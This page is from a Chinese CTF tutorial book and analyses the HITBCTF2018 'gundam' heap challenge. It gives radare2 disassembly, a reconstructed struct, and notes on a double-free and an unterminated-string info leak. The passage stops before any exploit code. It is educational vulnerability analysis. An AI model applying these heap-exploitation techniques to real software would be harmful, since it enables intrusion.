📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • 题目解析
  • main
  • Build a gundam
  • Visit gundams
  • Destory a gundam
  • Blow up the factory
  • Exploit
  • leak
  • overwrite
  • pwn
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.19 pwn HITBCTF2018 gundam

Previous6.1.18 pwn HITBCTF2017 SentosaNext6.1.20 pwn 33C3CTF2016 babyfengshui

Last updated 3 years ago

Was this helpful?

题目复现

$ file gundam
gundam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5643cd77b84ace35448d38fc49e4d3668ef45fea, stripped
$ checksec -f gundam
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     0               4       gundam
$ strings libc-2.26.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.

保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。

玩一下:

$ ./gundam
...                                     # 创建了两个 gundam
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2

Gundam[0] :AAAA
Type[0] :Freedom

Gundam[1] :BBBB
Type[1] :Strike Freedom

1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3
Which gundam do you want to Destory:0   # 第一次销毁 gundam 0,成功

1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3
Which gundam do you want to Destory:0   # 第二次销毁 gundam 0,成功

1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2                         # 此时剩下 gundam 1

Gundam[1] :BBBB
Type[1] :Strike Freedom

1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 4                         # 销毁 factory
Done!

1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 2                         # gundam 1 没有变化

Gundam[1] :BBBB
Type[1] :Strike Freedom

1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice : 3                         # 第三次销毁 gundam 0,失败
Which gundam do you want to Destory:0
Invalid choice

根据上面的结果也能猜出一些东西。比如在没有销毁 factory 的情况下,可以多次销毁 gundam。而销毁 factory 不会对没有销毁的 gundam 造成影响。

题目解析

main

[0x000009e0]> pdf @ main
/ (fcn) main 122
|   main ();
|           ; var int local_18h @ rbp-0x18
|           ; var int local_12h @ rbp-0x12
|           ; var int local_8h @ rbp-0x8
|           ; DATA XREF from 0x000009fd (entry0)
|           0x000010c5      push rbp
|           0x000010c6      mov rbp, rsp
|           0x000010c9      sub rsp, 0x20
|           0x000010cd      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x000010d6      mov qword [local_8h], rax
|           0x000010da      xor eax, eax
|           0x000010dc      mov eax, 0
|           0x000010e1      call sub.setvbuf_22                        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           ; JMP XREF from 0x00001192 (main + 205)
|           0x000010e6      mov eax, 0
|           0x000010eb      call sub.puts_aea                          ; int puts(const char *s)
|           0x000010f0      lea rax, [local_12h]
|           0x000010f4      mov edx, 8
|           0x000010f9      mov rsi, rax
|           0x000010fc      mov edi, 0
|           0x00001101      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00001106      lea rax, [local_12h]
|           0x0000110a      mov rdi, rax
|           0x0000110d      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00001112      mov dword [local_18h], eax                  ; 读入选项
|           0x00001115      cmp dword [local_18h], 5                   ; [0x5:4]=257
|       ,=< 0x00001119      ja 0x1185
|       |   0x0000111b      mov eax, dword [local_18h]
|       |   0x0000111e      lea rdx, [rax*4]
|       |   0x00001126      lea rax, [0x00001368]                       ; 获取跳转表
|       |   0x0000112d      mov eax, dword [rdx + rax]                  ; 获取对应表项
|       |   0x00001130      movsxd rdx, eax
|       |   0x00001133      lea rax, [0x00001368]
|       |   0x0000113a      add rax, rdx                               ; '('
\       |   0x0000113d      jmp rax                                     ; 跳到相应函数
[0x000009e0]> px 20 @ 0x00001368+0x4
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0000136c  d7fd ffff e3fd ffff effd ffff fbfd ffff  ................
0x0000137c  07fe ffff
[0x000009e0]> pd 20 @ 0x0000113f
        :   0x0000113f      mov eax, 0
        :   0x00001144      call sub.malloc_b7d                                 ; 选项 1
       ,==< 0x00001149      jmp 0x1192
       |:   0x0000114b      mov eax, 0
       |:   0x00001150      call sub.Gundam__u__:_s_ef4                         ; 选项 2
      ,===< 0x00001155      jm  p 0x1192
      ||:   0x00001157      mov eax, 0
      ||:   0x0000115c      call sub.Which_gundam_do_you_want_to_Destory:_d32   ; 选项 3
     ,====< 0x00001161      jmp 0x1192
     |||:   0x00001163      mov eax, 0
     |||:   0x00001168      call sub.Done_e22                                   ; 选项 4
    ,=====< 0x0000116d      jmp 0x1192
    ||||:   0x0000116f      lea rdi, str.Exit....                      ; 0x135c ; "Exit...."
    ||||:   0x00001176      call sym.imp.puts                          ; int puts(const char *s)
    ||||:   0x0000117b      mov edi, 0
    ||||:   0x00001180      call sym.imp.exit                                   ; 选项 5
    ||||:   ; JMP XREF from 0x00001119 (main)
    ||||:   0x00001185      lea rdi, str.Invalid_choice                ; 0x130d ; "Invalid choice"
    ||||:   0x0000118c      call sym.imp.puts                          ; int puts(const char *s)
    ||||:   0x00001191      nop
    |||||   ; JMP XREF from 0x00001149 (main + 132)
    |||||   ; JMP XREF from 0x00001155 (main + 144)
    |||||   ; JMP XREF from 0x00001161 (main + 156)
    |||||   ; JMP XREF from 0x0000116d (main + 168)
    `````=< 0x00001192      jmp 0x10e6                                 ; main+0x21

一个典型的 switch-case 跳转结构。

Build a gundam

[0x000009e0]> pdf @ sub.malloc_b7d
/ (fcn) sub.malloc_b7d 437
|   sub.malloc_b7d (int arg_8h);
|           ; var int local_20h @ rbp-0x20
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; var int local_0h @ rbp-0x0
|           ; arg int arg_8h @ rbp+0x8
|           ; UNKNOWN XREF from 0x00001144 (main + 127)
|           ; CALL XREF from 0x00001144 (main + 127)
|           0x00000b7d      push rbp
|           0x00000b7e      mov rbp, rsp
|           0x00000b81      sub rsp, 0x20
|           0x00000b85      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x00000b8e      mov qword [local_8h], rax
|           0x00000b92      xor eax, eax
|           0x00000b94      mov qword [local_18h], 0                    ; 初始化 [local_18h]
|           0x00000b9c      mov qword [local_10h], 0                    ; 初始化 [local_10h]
|           0x00000ba4      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0 ; 取出当前 gundam 数量
|           0x00000baa      cmp eax, 8
|       ,=< 0x00000bad      ja 0xd17                                    ; 如果大于 8,函数返回
|       |   0x00000bb3      mov edi, 0x28                               ; 否则继续
|       |   0x00000bb8      call sym.imp.malloc                         ; [local_18h] = malloc(0x28) 分配一块内存作为 gundam
|       |   0x00000bbd      mov qword [local_18h], rax
|       |   0x00000bc1      mov rax, qword [local_18h]
|       |   0x00000bc5      mov edx, 0x28                              ; '('
|       |   0x00000bca      mov esi, 0
|       |   0x00000bcf      mov rdi, rax
|       |   0x00000bd2      call sym.imp.memset                         ; memset([local_18h], 0, 0x28) 进行初始化
|       |   0x00000bd7      mov edi, 0x100
|       |   0x00000bdc      call sym.imp.malloc                         ; [local_10h] = malloc(0x100) 分配一块内存作为 name
|       |   0x00000be1      mov qword [local_10h], rax
|       |   0x00000be5      cmp qword [local_10h], 0
|      ,==< 0x00000bea      jne 0xc02
|      ||   0x00000bec      lea rdi, str.error                         ; 0x1295 ; "error !"
|      ||   0x00000bf3      call sym.imp.puts                          ; int puts(const char *s)
|      ||   0x00000bf8      mov edi, 0xffffffff                        ; -1
|      ||   0x00000bfd      call sym.imp.exit                          ; void exit(int status)
|      ||   ; JMP XREF from 0x00000bea (sub.malloc_b7d)
|      `--> 0x00000c02      lea rdi, str.The_name_of_gundam_:          ; 0x129d ; "The name of gundam :"
|       |   0x00000c09      mov eax, 0
|       |   0x00000c0e      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x00000c13      mov rax, qword [local_10h]
|       |   0x00000c17      mov edx, 0x100
|       |   0x00000c1c      mov rsi, rax
|       |   0x00000c1f      mov edi, 0
|       |   0x00000c24      call sym.imp.read                           ; read(0, [local_10h], 0x100) 读入字符到 name
|       |   0x00000c29      mov rax, qword [local_18h]                  ; 取出 gundam
|       |   0x00000c2d      mov rdx, qword [local_10h]
|       |   0x00000c31      mov qword [rax + 8], rdx                    ; 将 name 放到 gundam->name
|       |   0x00000c35      lea rdi, str.The_type_of_the_gundam_:      ; 0x12b2 ; "The type of the gundam :"
|       |   0x00000c3c      mov eax, 0
|       |   0x00000c41      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x00000c46      lea rax, [local_20h]
|       |   0x00000c4a      mov rsi, rax
|       |   0x00000c4d      lea rdi, [0x000012cb]                      ; "%d"
|       |   0x00000c54      mov eax, 0
|       |   0x00000c59      call sym.imp.__isoc99_scanf                 ; 读入 type 到 [local_20h]
|       |   0x00000c5e      mov eax, dword [local_20h]
|       |   0x00000c61      test eax, eax
|      ,==< 0x00000c63      js 0xc6d
|      ||   0x00000c65      mov eax, dword [local_20h]                  ; 大于等于 0 时继续
|      ||   0x00000c68      cmp eax, 2
|     ,===< 0x00000c6b      jle 0xc83                                   ; 小于等于 2 时跳转
|     |||   ; JMP XREF from 0x00000c63 (sub.malloc_b7d)
|     |`--> 0x00000c6d      lea rdi, str.Invalid.                      ; 0x12ce ; "Invalid."
|     | |   0x00000c74      call sym.imp.puts                          ; int puts(const char *s)
|     | |   0x00000c79      mov edi, 0
|     | |   0x00000c7e      call sym.imp.exit                          ; void exit(int status)
|     | |   ; JMP XREF from 0x00000c6b (sub.malloc_b7d)
|     `---> 0x00000c83      mov eax, dword [local_20h]
|       |   0x00000c86      movsxd rdx, eax
|       |   0x00000c89      mov rax, rdx
|       |   0x00000c8c      shl rax, 2
|       |   0x00000c90      add rax, rdx                               ; '('
|       |   0x00000c93      shl rax, 2                                  ; 最后得到 rax = rax * 20
|       |   0x00000c97      lea rdx, str.Freedom                       ; 0x202020 ; "Freedom" ; 取出起始地址
|       |   0x00000c9e      add rdx, rax                                ; rdx 为字符串 type 的地址
|       |   0x00000ca1      mov rax, qword [local_18h]
|       |   0x00000ca5      add rax, 0x10                               ; 取出 gundam->type
|       |   0x00000ca9      mov rsi, rdx
|       |   0x00000cac      mov rdi, rax
|       |   0x00000caf      call sym.imp.strcpy                         ; strcpy(gundam->type, type) 将字符串复制过去
|       |   0x00000cb4      mov rax, qword [local_18h]                  ; 取出 gundam
|       |   0x00000cb8      mov dword [rax], 1                          ; 将 gundam->flag 赋值为 1
|       |   0x00000cbe      mov dword [local_1ch], 0                    ; 循环计数 i,初始化为 0
|      ,==< 0x00000cc5      jmp 0xd02                                   ; 开始循环
|      ||   ; JMP XREF from 0x00000d06 (sub.malloc_b7d)
|     .---> 0x00000cc7      mov eax, dword [local_1ch]
|     :||   0x00000cca      lea rdx, [rax*8]
|     :||   0x00000cd2      lea rax, [0x002020a0]                       ; 取出 factory 地址
|     :||   0x00000cd9      mov rax, qword [rdx + rax]                  ; 找到 factory[i]
|     :||   0x00000cdd      test rax, rax
|    ,====< 0x00000ce0      jne 0xcfe                                   ; 不为 0 时继续下一次循环
|    |:||   0x00000ce2      mov eax, dword [local_1ch]                  ; 否则继续
|    |:||   0x00000ce5      lea rcx, [rax*8]
|    |:||   0x00000ced      lea rax, [0x002020a0]
|    |:||   0x00000cf4      mov rdx, qword [local_18h]                  ; 取出 gundam
|    |:||   0x00000cf8      mov qword [rcx + rax], rdx                  ; 将 gundam 放到 factory[i]
|   ,=====< 0x00000cfc      jmp 0xd08                                   ; 结束循环
|   ||:||   ; JMP XREF from 0x00000ce0 (sub.malloc_b7d)
|   |`----> 0x00000cfe      add dword [local_1ch], 1                    ; i = i + 1
|   | :||   ; JMP XREF from 0x00000cc5 (sub.malloc_b7d)
|   | :`--> 0x00000d02      cmp dword [local_1ch], 8                    ; 最多能有 9 个 gundam
|   | `===< 0x00000d06      jbe 0xcc7                                   ; 循环继续
|   |   |   ; JMP XREF from 0x00000cfc (sub.malloc_b7d)
|   `-----> 0x00000d08      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0
|       |   0x00000d0e      add eax, 1                                  ; gundam 数量 + 1
|       |   0x00000d11      mov dword [0x0020208c], eax                ; [0x20208c:4]=0 ; 放回去
|       |   ; JMP XREF from 0x00000bad (sub.malloc_b7d)
|       `-> 0x00000d17      mov eax, 0
|           0x00000d1c      mov rcx, qword [local_8h]
|           0x00000d20      xor rcx, qword fs:[0x28]
|       ,=< 0x00000d29      je 0xd30
|       |   0x00000d2b      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00000d29 (sub.malloc_b7d)
|       `-> 0x00000d30      leave
\           0x00000d31      ret
[0x000009e0]> px 60 @ 0x00202020
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00202020  4672 6565 646f 6d00 0000 0000 0000 0000  Freedom.........
0x00202030  0000 0000 5374 7269 6b65 2046 7265 6564  ....Strike Freed
0x00202040  6f6d 0000 0000 0000 4167 6965 7300 0000  om......Agies...
0x00202050  0000 0000 0000 0000 0000 0000

通过分析这个函数,可以得到 gundam 结构体(大小为0x28)和 factory(地址0x002020a0) 数组:

struct gundam {
    uint32_t flag;
    char *name;
    char type[24];
} gundam;

struct gundam *factory[9];

另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 0x0020208c。

从读入 name 的操作中我们发现,程序并没有在末尾设置 \x00,可能导致信息泄漏(以\x0a结尾)。

Visit gundams

[0x000009e0]> pdf @ sub.Gundam__u__:_s_ef4
/ (fcn) sub.Gundam__u__:_s_ef4 254
|   sub.Gundam__u__:_s_ef4 (int arg_8h);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; arg int arg_8h @ rbp+0x8
|           ; CALL XREF from 0x00001150 (main + 139)
|           0x00000ef4      push rbp
|           0x00000ef5      mov rbp, rsp
|           0x00000ef8      sub rsp, 0x10
|           0x00000efc      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x00000f05      mov qword [local_8h], rax
|           0x00000f09      xor eax, eax
|           0x00000f0b      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0 ; 取出 gundam_num
|           0x00000f11      test eax, eax
|       ,=< 0x00000f13      jne 0xf26                                   ; 不等于 0 时跳转
|       |   0x00000f15      lea rdi, str.No_gundam_produced            ; 0x1322 ; "No gundam produced!"
|       |   0x00000f1c      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x00000f21      jmp 0xfd7
|      ||   ; JMP XREF from 0x00000f13 (sub.Gundam__u__:_s_ef4)
|      |`-> 0x00000f26      mov dword [local_ch], 0                     ; 循环计数 i,初始化为 0
|      |,=< 0x00000f2d      jmp 0xfcd                                   ; 开始循环
|      ||   ; JMP XREF from 0x00000fd1 (sub.Gundam__u__:_s_ef4)
|     .---> 0x00000f32      mov eax, dword [local_ch]
|     :||   0x00000f35      lea rdx, [rax*8]
|     :||   0x00000f3d      lea rax, [0x002020a0]
|     :||   0x00000f44      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|     :||   0x00000f48      test rax, rax
|    ,====< 0x00000f4b      je 0xfc9                                    ; 为 0 时跳转,下一次循环
|    |:||   0x00000f4d      mov eax, dword [local_ch]
|    |:||   0x00000f50      lea rdx, [rax*8]
|    |:||   0x00000f58      lea rax, [0x002020a0]
|    |:||   0x00000f5f      mov rax, qword [rdx + rax]
|    |:||   0x00000f63      mov eax, dword [rax]                        ; 取出 factory[i]->flag
|    |:||   0x00000f65      test eax, eax
|   ,=====< 0x00000f67      je 0xfc9                                    ; flag 为 0 时跳转,下一次循环
|   ||:||   0x00000f69      mov eax, dword [local_ch]
|   ||:||   0x00000f6c      lea rdx, [rax*8]
|   ||:||   0x00000f74      lea rax, [0x002020a0]
|   ||:||   0x00000f7b      mov rax, qword [rdx + rax]
|   ||:||   0x00000f7f      mov rdx, qword [rax + 8]                    ; 取出 factory[i]->name
|   ||:||   0x00000f83      mov eax, dword [local_ch]
|   ||:||   0x00000f86      mov esi, eax
|   ||:||   0x00000f88      lea rdi, str.Gundam__u__:_s                ; 0x1336 ; "\nGundam[%u] :%s"
|   ||:||   0x00000f8f      mov eax, 0
|   ||:||   0x00000f94      call sym.imp.printf                         ; 打印出 factory[i]->name
|   ||:||   0x00000f99      mov eax, dword [local_ch]
|   ||:||   0x00000f9c      lea rdx, [rax*8]
|   ||:||   0x00000fa4      lea rax, [0x002020a0]
|   ||:||   0x00000fab      mov rax, qword [rdx + rax]
|   ||:||   0x00000faf      lea rdx, [rax + 0x10]                       ; 取出 factory[i]->type
|   ||:||   0x00000fb3      mov eax, dword [local_ch]
|   ||:||   0x00000fb6      mov esi, eax
|   ||:||   0x00000fb8      lea rdi, str.Type__u__:_s                  ; 0x1346 ; "Type[%u] :%s\n"
|   ||:||   0x00000fbf      mov eax, 0
|   ||:||   0x00000fc4      call sym.imp.printf                         ; 打印出 factory[i]->type
|   ||:||   ; JMP XREF from 0x00000f4b (sub.Gundam__u__:_s_ef4)
|   ||:||   ; JMP XREF from 0x00000f67 (sub.Gundam__u__:_s_ef4)
|   ``----> 0x00000fc9      add dword [local_ch], 1                     ; i = i + 1
|     :||   ; JMP XREF from 0x00000f2d (sub.Gundam__u__:_s_ef4)
|     :|`-> 0x00000fcd      cmp dword [local_ch], 8                     ; 最多有 9 个 gundam
|     `===< 0x00000fd1      jbe 0xf32                                   ; 循环继续
|      |    ; JMP XREF from 0x00000f21 (sub.Gundam__u__:_s_ef4)
|      `--> 0x00000fd7      mov eax, 0
|           0x00000fdc      mov rcx, qword [local_8h]
|           0x00000fe0      xor rcx, qword fs:[0x28]
|       ,=< 0x00000fe9      je 0xff0
|       |   0x00000feb      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00000fe9 (sub.Gundam__u__:_s_ef4)
|       `-> 0x00000ff0      leave
\           0x00000ff1      ret

该函数先判断 gundam_num 是否为 0,如果不是,再根据 factory[i] 和 factory[i]->flag 判断某个 gundam 是否存在,如果存在,就将它的 name 和 type 打印出来。

Destory a gundam

[0x000009e0]> pdf @ sub.Which_gundam_do_you_want_to_Destory:_d32
